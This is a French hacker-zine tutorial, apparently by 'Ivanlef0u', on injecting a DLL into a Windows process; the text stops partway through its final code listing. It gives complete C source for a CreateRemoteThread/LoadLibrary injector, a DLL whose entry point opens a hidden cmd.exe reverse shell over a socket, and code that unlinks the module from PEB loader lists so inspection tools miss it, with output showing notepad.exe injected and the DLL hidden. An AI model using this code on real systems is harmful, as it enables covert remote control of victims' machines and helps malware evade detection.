.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ O2 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Dll Injection Reinvented ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Ivanlef0u [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
--------[ Intro
Grut everyone, chose promise chose due dans le dernier article "L'injection des
poulets" j'avais terminé en vous disant que j'allais vous montrer comment
injecter une DLL dans un processus alors pour ceux qui ont pas suivi l'épisode
je leurs conseille vivement de lire le précédent article et pour les autres
d'aller se chercher une bière et de s'installer, car l'émission va commencer !
Au programme ce soir mesdames et messieurs !!
1. Film culte interdit au moins de 18 ans: Injecte-moi par derrière
2. Documentaire sur la vie d'une DLL: Fuck me i'm a DLL
3. Un nouvel épisode de: Les Experts en UserLand
4. Un clip de Dj OllyBip: \x55\x8B\xEC
5. Enfin, le thème de la nuit sera: la disparition des modules en UserLand
6. Bonus Track
7. Happy End
--------[1.Injecte moi par derrière
Il est de retour, pour vous jouer un mauvais tour ! Le toujours aussi fou
Ivanlef0u, dans ce film il incarne un sérial-psychopathe-sodoculeur de process
avec des DLL, notre héros aura fort a faire avec l'API Win32 et sera souvent mis
en péril par les méchants qui veulent le capturer et lui faire manger des petits
pots de blédina froid (sic!) mais il aura comme compagnon sa bible, Windows PSDK
et son compagnon le fabuleux, l'irremplaçable, l'indestructible OllyDbg ! Alors
notre héros va t?il se faire pogner et bouffer de la bouillie ou bien réalisera
t'il son rêve de conquête du monde ? Pour le savoir regarder ce fabuleux film de
Albert Bretzel sorti en 1984 avant JC (Jean-Claude), Bonne soirée a tous.
Allay finit les conneries sur les petits pots et place au code.
Pour injecter une DLL dans un processus c'est pas bien compliqué, on
reprend le code de la dernière fois et on modifie une ligne, qui dit mieux !
Voici l'idée: : précédemment on injectait un code ou plutôt un shellcode qui
s'exécutait comme un grand avec le Thread nouvellement crée avec
CreateRemoteThread(), hé bien la on va faire la même chose sauf qu'on va use
LoadLibrary, cette magnifique fonction de Windows, voici son prototype:
HMODULE LoadLibrary(
LPCTSTR lpFileName
);
Il suffit donc de donner a LoadLibrary une string disant où est la DLL a chargée
et c'est dans la boite :] On va lancer notre Thread ds le process distant
sur le LoadLibrary de kernel32.dll et sur la stack, pointé par esp+4, on aura
comme argument un pointeur sur la string de la DLL.
LPTHREAD_START_ROUTINE
Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll",\
"LoadLibrary");
On defini ici le début de notre Thread sur LoadLibrary.
DWORD ThreadID;
HANDLE hThread=CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,&ThreadID);
En fait injector est un pointeur sur le code que nous voulons effectuer.
Arg est donc l'adresse de la string dans la mémoire du process a injecté que
l'on a précédemment écrit avec WriteProcessMemory().
Allay voila le code:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
int NameToPid(char *ProcessName);
int main (int argc,char *argv[])
{
if (argc !=3){
printf("Usage is :inject <process> <dll path>\n");
return 0;
}
printf("[*]Ownage du processus: %s\n",argv[1]);
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1]));
if(hProc==NULL)
{
printf("Error with OpenProcess: %d\n",GetLastError());
return -1;
}
printf("[*]Handle: 0x%x\n",hProc);
int cbCodeSize = strlen(argv[2]) + 1;
printf("[*]CodeSize: %d\n",cbCodeSize);
LPVOID Arg = VirtualAllocEx(hProc, NULL, cbCodeSize,\
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (Arg==NULL)
{
printf("Error with VirtualAllocEx: %d\n",GetLastError());
return -1;
}
printf("[*]Emplacement memoire: 0x%x\n",Arg);
if (WriteProcessMemory(hProc, Arg, argv[2], cbCodeSize, 0) == FALSE)
{
printf("Error with WriteProcessMemory: %d\n",GetLastError());
return -1;
}
LPTHREAD_START_ROUTINE
Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll")\
,"LoadLibraryA");
DWORD ThreadID;
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,\
&ThreadID);
if (hThread==NULL)
{
printf("Error with CreateRemoteThread: %d\n",GetLastError());
return -1;
}
if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED)
{
printf("Error with WaitForSingleObject: %d\n",GetLastError());
return -1;
}
if(VirtualFreeEx(hProc, Arg, 0, MEM_DECOMMIT)==FALSE)
{
printf("Error with VirtualFreeEx: %d\n",GetLastError());
return -1;
}
if(CloseHandle(hThread)==FALSE)
{
printf("Error with CloseHandle: %d\n",GetLastError());
return -1;
}
printf("[*]Target injected\n");
return 0;
}
int NameToPid(char *ProcessName)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First( hProcessSnap, &pe32 ) )
{
printf("Error with Process32First: %d\n",GetLastError());
CloseHandle(hProcessSnap);
}
while(Process32Next(hProcessSnap,&pe32)!=0)
{
if(_stricmp(pe32.szExeFile,ProcessName)==0)
{
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
}
CloseHandle(hProcessSnap);
return 0;
}
c:\>inject_dll notepad.exe c:\dll_injected.dll
[*]Ownage du processus: notepad.exe
[*]Handle: 0x3d4
[*]CodeSize: 20
[*]Emplacement memoire: 0x720000
[*]Target injected
Ha vi truc bête que j'ai laissé par flemmardise, le codesize est en fait la
taille de la string du path de la dll, pareil l'emplacement mémoire correspond
a l'endroit ou est balancé la string en mem :)
Cette méthode revient a faire chargé dynamiquement une DLL par un process,
alors maintenant intéressons-nous a cette DLL.
--------[2.Fuck me i'm a DLL
Voici le main d'une DLL:
BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOIDlpReserved);
hInstance étant le Handle de notre DLL (l'endroit ou elle est en mémoire),
dwReason elle la cause de l'appel de la fct main et l'autre est la pour
décorer. Nous on s'intéresse uniquement aux causes de l'appel de la fct main()
winNT.h
#define DLL_PROCESS_ATTACH 1
#define DLL_THREAD_ATTACH 2
#define DLL_THREAD_DETACH 3
#define DLL_PROCESS_DETACH 0
On veut que notre code soit exécuté lorsque que la DLL est chargée
dans le process on met alors:
if(dwReason!=DLL_PROCESS_ATTACH)
return TRUE;
Le TRUE est important, car FALSE indique que le chargement a foiré. Voici sans
attendre le code d'une DLL qui va lancer un reverse shell sur l'ip 127.0.1 et
sur le port 8080:
#include <winsock2.h>
BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID
lpReserved)
{
// On ne traite pas les raisons autres que l'initialisation de la DLL
if(dwReason!=DLL_PROCESS_ATTACH)
return TRUE;
WSADATA wd;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD(2,0), &wd);
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(8080);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
bind(sock, (struct sockaddr *)&sin, size);
connect(sock, (struct sockaddr *)&sin, size);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
true,
IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
return 0;
}
Ha p-e qu'une explication serait bienvenue pour ces deux lignes:
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
'si' est une structure de type STARTUPINFO:
typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD
dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
En fait en faisant
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
On dit que l'entrée/sortie du processus crée sera redirigée vers le socket et
donc qu'on pourra dialoguer avec le process à travers le socket. De plus, il faut
utiliser WSASocket() à la place de socket() car avec ce dernier le socket aura
l'attribut overlapped (asynchrone), petite explication :] Imaginez que vous
ayez besoin d'écrire un file sur le disque et que cette opération est déjà
réalisée par un autre process, hum soit vous attendez comme un con que l'autre
finisse et donc vous perdez du tps et de la fluidité, soit vous mettez vos
fonctions d'I/O en overlapped et la le code continuera d'être exécuter même si
le fichier n'a pas été écrit tandis que ce qui doit être écrit le sera lorsque
la ressource sera libre. Dans notre cas il vaut mieux éviter d'utiliser cet
attribut et de rester synchrone avec l'I/O du process pipé.
NB: de toute facon ca marche pas autrement :}
--------[3.Les Experts en UserLand
Hum et now ? On a injecté une DLL dans un process et un jour on lance un tool
comme PEID ou LORDPE et on voit que le process a des DLL bizarres avec lui,
genre le notepad qui tourne avec ws2_32.dll ....
Après désassemblage de ces exécutables on voit qu'ils utilisent les fonctions de
la DLL psapi.dll et plus précisément la fonction EnumProcessModules() la voici:
BOOL EnumProcessModules(
HANDLE hProcess,
HMODULE* lphModule,
DWORD cb,
LPDWORD lpcbNeeded
);
hProcess est un handle sur le process obtenu avec l'api OpenProcess()
lphModule est un tableau de DWORD qui va contenir les handles pour chaque
module.
cb est la taille du tableau en bytes.
lpcbNeeded contient le nombre de bytes nécessaire pour contenir tout les
handles, comme le tableau est alloué avant l'appel de la fonction et qu'on ne
connait pas le nombre de modules du process si jamais celui est plus grand que
la taille de notre tableau il faudra l'agrandir :) donc autant voir grand dès le
départ et mettre un tableau de 128 DWORD. (ouais je sais j'aurais pu l'allouer
dynamiquement, mais j'avais la flemme....)
Allay tout de suite le code qui fait tout ca:
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib,"Psapi.lib");
int NameToPid(char *ProcessName)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First( hProcessSnap, &pe32 ) )
{
printf("Error with Process32First: %d\n",GetLastError());
CloseHandle(hProcessSnap);
}
while(Process32Next(hProcessSnap,&pe32)!=0)
{
if(_stricmp(pe32.szExeFile,ProcessName)==0)
{
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
}
CloseHandle(hProcessSnap);
return 0;
}
int main(int argc, char *argv[])
{
HANDLE hProcess;
HMODULE hModule[128];
ULONG BytesNeeded;
char ModuleName[MAX_PATH];
MODULEINFO ModuleInfo;
if(argc!=2)
{
printf("Usage is: psapi <Process name>\n");
return 0;
}
hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,NameToPid(argv[1]));
if(hProcess==NULL)
return 0;
if(EnumProcessModules(hProcess,hModule,sizeof(hModule),&BytesNeeded)==0)
{
CloseHandle(hProcess);
return 0;
}
printf("Number of modules: %d\n",BytesNeeded/sizeof(ULONG));
for(int i=0;i < BytesNeeded/sizeof(ULONG);i++)
{
GetModuleBaseName(hProcess,hModule[i],ModuleName,sizeof(ModuleName));
printf("Module Name: %s\n",ModuleName);
}
return 0;
}
Voici ce que ça donne avec le notepad:
C:\ProgHack\c>psapi notepad.exe
Number of modules: 14
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Et voici toujours le notepad mais avec notre DLL injectée:
C:\ProgHack\c>psapi notepad.exe
Number of modules: 19
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Module Name: dll_injected.dll
Module Name: WS2_32.dll
Module Name: WS2HELP.DLL
Module Name: msafd.dll
Module Name: wshtcpip.dll
Whaou, 5 modules en plus c'est pas super discret tout ca, surtout quand on voit
que le notepad commence a utiliser la DLL ws2_32.dll on est droit de se poser
des questions :]
--------[4.\x55\x8B\xEC
Bon, alors maintenant on s'arrête 2 sec et on, du moins faisons semblant, essaye
de réfléchir. Il est clair que le processus qui va voir à quoi ressemblent les
DLL dans un autre process n'a pas fait cela en ring 3 car je le rappel chaque
process a SON PROPRE ET UNIQUE espace mémoire et ne peut accéder a celui de ses
voisins. Il y a donc forcément de l'api native là-dessous qui permet le passage
du UserLand au KernelLand, voici ce qu'on obtient en désassemblant une partie de
la fonction EnumProcessModules de la DLL psapi.dll:
68EA19AE . 53 ; /pReqsize => NULL
68EA19AF . 6A 18 ; |Bufsize = 18 (24.)
68EA19B1 . 8D45 C0 ; |
68EA19B4 . 50 ; |Buffer
68EA19B5 . 53 ; |InfoClass => 0
68EA19B6 . FF75 08 ; |hProcess
68EA19B9 . FF15 3810EA68 ; \ZwQueryInformationProcess
68EA19BF . 3BC3
68EA19C1 . 7D 15
68EA19C3 . 50 ; /Arg1
68EA19C4 . FF15 4410EA68 ; \RtlNtStatusToDosError
68EA19CA . 50 ; /Error
68EA19CB . FF15 A010EA68 ; \SetLastError
68EA19D1 > 33C0
68EA19D3 . E9 C2000000
68EA19D8 > 53 ; /pBytesRead
68EA19D9 . 6A 04 ; |BytesToRead = 4
68EA19DB . 8D45 B8 ; |
68EA19DE . 50 ; |Buffer
68EA19DF . 8B45 C4 ; |
68EA19E2 . 83C0 0C ; |
68EA19E5 . 50 ; |pBaseAddress
68EA19E6 . FF75 08 ; |hProcess
68EA19E9 . 8B3D AC10EA68 ; |KERNEL32.ReadProcessMemory
68EA19EF . FFD7 ; \ReadProcessMemory
68EA19F1 . 85C0
68EA19F3 .^ 74 DC
68EA19F5 . 8B45 B8
68EA19F8 . 83C0 14
68EA19FB . 8945 B4
68EA19FE . 53 ; /pBytesRead
68EA19FF . 6A 04 ; |BytesToRead = 4
68EA1A01 . 8D4D DC ; |
68EA1A04 . 51 ; |Buffer
68EA1A05 . 50 ; |pBaseAddress
68EA1A06 . FF75 08 ; |hProcess
68EA1A09 . FFD7 ; \ReadProcessMemory
68EA1A0B . 85C0
En traçant cette fonction on s'aperçoit que la fonction native
NtQueryInformationProcess() réalise le passage en ring0 et sert a obtenir l'addr
du PEB dans le process distant.
kd> dt !_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
[...]
puis on se déplace de 0xC dans la structure avec ce code:
68EA19DF . 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C] ; |PEB
68EA19E2 . 83C0 0C ADD EAX,0C ; |PEB+0xC
68EA19E5 . 50 PUSH EAX ; |pBaseAddress
Après le ReadProcessMemory() nous permet d'obtenir un pointeur sur une structure
_PEB_LDR_DATA (tout cela on le recup dans un autre process n'oubliez pas)
kd> dt !_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
Puis on se déplace de 0x14 dans celle ci avec ce chtit code:
68EA19F5 . 8B45 B8 MOV EAX,DWORD PTR SS:[EBP-48] ; |_PEB_LDR_DATA
68EA19F8 . 83C0 14 ADD EAX,14
On a donc un pointeur sur une double liste chaînée (LIST_ENTRY) et plus
précisément sur le membre suivant de cette liste (Flink).
InMemoryOrderModuleList, contient des structures de type LDR_DATA_TABLE_ENTRY
que voici:
kd> dt nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
Donc le programme va parcourir cette liste chainée pour y trouver les
informations en mémoire à propos des modules.
--------[5.La disparition des modules en UserLand
Voila qui devient intéressant et c'est (en partie) pour vous montrez cela que
j'ai écrit cet article, il suffit donc de modifier cette double liste afin que
notre module passer inaperçu, ho yeah, soirée mousse !!!!
Notre DLL va donc se composer d'un nouveau morceau de code qui permettra de la
rentre "furtive" et tout cas a tout les programmes qui utilisent
EnumProcessModules, déja PEID et LordPe (ce n'est qu'un début).
+----------+ +----------+ +----------+
| Module 1 | | Module 2 | | Module 3 |
| Flink |<-+---->| Flink |<-+--->| Flink |---->
<---| Blink | |-----| Blink | |----| Blink |
+----------+ +----------+ +----------+
(le Blink ne pointe pas sur le précédent Blink mais bien sur le précédent Flink)
Voici ce que l'on veut obtenir:
+------------------+
| |
+----------+ | +----------+ | +----------+
| Module 1 | | | Module 2 | | | Module 3 |
| Flink |<-+--+ | Flink |<---+->| Flink |---->
<---| Blink | |-----| Blink | +---| Blink |
+----------+ | +----------+ | +----------+
| |
+--------------------+
(Vous trouvez ces schémas pourris? Envoyer un mail à Ivanlef0u119@yahoo.fr pour
tout reproches, insultes, whines)
Allay tout de suite le code qui réalise cela:
int DLLHiding(LPSTR ModuleToHide)
{
PPEB_LDR_DATA PLDR_DATA;
_asm{
mov eax,fs:[30h] //Sur le PEB
mov eax,[eax+0Ch] //PEB->LoaderData
mov PLDR_DATA,eax
}
char ModuleName[MAX_PATH]="";
PLDR_MODULE PModule;
PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
do{
PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
SecureZeroMemory(ModuleName,MAX_PATH);
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1,ModuleName\
, MAX_PATH-1, NULL, NULL);
}while(!strstr(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InMemoryOrderModuleList.Blink->Flink=PModule->InMemoryOrderModuleLi
st.Flink;
PModule->InMemoryOrderModuleList.Flink->Blink=PModule->InMemoryOrderModuleLi
st.Blink;
return 1;
}
Ce code n'est pas trop compliqué dans ce qu'il fait (ou pas)
Il va sur PEB du process puis dans la structure LoaderData et parcourt avec la
boucle do{}while(); la liste InMemoryOrderModuleList. Il récupère le nom du
module et le compare avec le nôtre, si c'est bon on arrête et on cache notre
module avec ces lignes étranges et venues d'ailleurs:
PModule->InMemoryOrderModuleList.Blink->Flink=PModule-
>InMemoryOrderModuleList.Flink;
Cela signifie que l'on définit le Flink de la structure précédente à la valeur
du Flink actuel c'est-à-dire sur la structure suivante (gruuut ?).
PModule->InMemoryOrderModuleList.Flink->Blink=PModule-
>InMemoryOrderModuleList.Blink;
Pareil on définit le Blink de la structure suivante à la valeur de notre Blink,
donc sur l'entrée précédente.
Ha aussi le rôle de cette ligne
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
En fait comme un membre de la liste pointe tjrs sur un autre membre on arrive
non pas a début de la structure, mais sur la struct InMemoryOrderModuleList donc
pour pointer sur le début de la struct LDR_MODULE on soustrait 8 au pointeur
courant.
kd> dt nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY //<- on arrive ici
+0x010 InInitializationOrderLinks : _LIST_ENTRY
[...]
Et maintenant le grand moment on teste tout cela, voici les results avec tjrs
notre ami le notepad:
C:\ProgHack\c>psapi notepad.exe
Number of modules: 18
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Module Name: WS2_32.dll
Module Name: WS2HELP.DLL
Module Name: msafd.dll
Module Name: wshtcpip.dll
Heyhey! 18 modules on a réussi à cacher notre DLL :]
Pour le reste, il suffit de procéder de la même façon a appelant la fct avec un
comme argument un nom de module a caché et c'est tout bon :}
-------[6.Bonus Track
Hum pourquoi un bonus track ? Parce que j'aime aller au fond de choses (ho
yeah) et que je vous est menti en disant la DLL était complètement invisible, il
existe encore une Api qui permet de voir cette foutue DLL, c'est en utilisant
CreateToolHelp32Snapshot() avec l'option TH32CS_SNAPMODULE que j'ai remarqué
cela, voici le bout de code qui ma enculée....
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
int NameToPid(char *ProcessName)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE)
{
printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError());
}
pe32.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap,&pe32))
{
printf("Error with Process32First: %d\n",GetLastError());
CloseHandle(hProcessSnap);
}
while(Process32Next(hProcessSnap,&pe32)!=0)
{
if(_stricmp(pe32.szExeFile,ProcessName)==0)
{
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
}
CloseHandle(hProcessSnap);
return 0;
}
int main(int argc,char *argv[])
{
if (argc!=2)
{
printf("Usage is: createtoolhelp32snapshot <Process name>");
return 0;
}
HANDLE hModuleSnap=NULL;
MODULEENTRY32 me32={0};
hModuleSnap=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, NameToPid(argv[1]));
if (hModuleSnap==INVALID_HANDLE_VALUE)
return (FALSE);
me32.dwSize = sizeof(MODULEENTRY32);
if(Module32First(hModuleSnap,&me32))
do{
printf("Module: %s\n",me32.szModule);
}while(Module32Next(hModuleSnap,&me32));
CloseHandle (hModuleSnap);
}
Voici ce que ça ressort:
C:\ProgHack\c>createtoolhelp32snapshot notepad.exe
Module Name: notepad.exe
Module Name: ntdll.dll
Module Name: comdlg32.dll
Module Name: SHLWAPI.DLL
Module Name: ADVAPI32.dll
Module Name: KERNEL32.dll
Module Name: RPCRT4.dll
Module Name: GDI32.dll
Module Name: USER32.dll
Module Name: msvcrt.dll
Module Name: COMCTL32.DLL
Module Name: SHELL32.DLL
Module Name: WINSPOOL.DRV
Module Name: MPR.DLL
Module Name: dll_injected.dll
Module Name: WS2_32.dll
Module Name: WS2HELP.DLL
Module Name: msafd.dll
Module Name: wshtcpip.dll
Argh notre dll apparait quand meme !!!
C'est reparti pour reverser l'API CreateToolHelp32SnapShot(), alors après avoir
tracé dans tout les sens je suis arriver dans ntdll, plus précisément dans
LdrQueryProcessModuleInformation (si c'est pas parlant ça...) et je vois cette
ligne :
7846DE3F |> \8B47 0C MOV EAX,DWORD PTR DS:[EDI+C]
avec EDI qui pointe sur une structure _PEB_LDR_DATA, haha le voilà notre prob,
souvenez vous précédemment nous modifions la la double liste
InMemoryOrderModuleList qui est 0x14 dans _PEB_LDR_DATA et ici le code utilise
la liste InLoadOrderModuleList que nous ne modifions pas donc la DLL est
toujours "visible". Il ne reste plus qu'a c/c notre code précédent en
modifiant 2,3 trucs et c'est tout bon, allée le code entier de la DLL qui met en
oeuvre tout ça avec en comment le code pour la dernière liste
(InInitializationOrderLinks):
#include <winsock2.h>
#include <Ntsecapi.h>
#include <shlwapi.h>
#pragma comment (lib,"shlwapi.lib")
#define DLLName "dll_injected.dll"
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
int DLLHiding(LPSTR ModuleToHide)
{
PPEB_LDR_DATA PLDR_DATA;
_asm{
mov eax,fs:[30h] //Sur le PEB
mov eax,[eax+0Ch] //PEB->LoaderData
mov PLDR_DATA,eax
}
char ModuleName[MAX_PATH]="";
PLDR_MODULE PModule;
/*
PModule=(PLDR_MODULE)PLDR_DATA->InInitializationOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x10);
do
{
PModule=(PLDR_MODULE)PModule->InInitializationOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x10);
memset(ModuleName,0,sizeof(ModuleName));
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
,ModuleName,MAX_PATH-1, NULL, NULL);
}while(!StrStrI(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InInitializationOrderModuleList.Blink->Flink=PModule
->InInitializationOrderModuleList.Flink;
PModule->InInitializationOrderModuleList.Flink->Blink=PModule
->InInitializationOrderModuleList.Blink;
memset(ModuleName,0,sizeof(ModuleName));
*/
/*******************************/
memset(ModuleName,0,sizeof(ModuleName));
PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
do{
PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
SecureZeroMemory(ModuleName,MAX_PATH);
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
,ModuleName,MAX_PATH-1, NULL, NULL);
}while(!StrStrI(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InMemoryOrderModuleList.Blink->Flink=PModule
->InMemoryOrderModuleList.Flink;
PModule->InMemoryOrderModuleList.Flink->Blink=PModule
->InMemoryOrderModuleList.Blink;
memset(ModuleName,0,sizeof(ModuleName));
/*******************************/
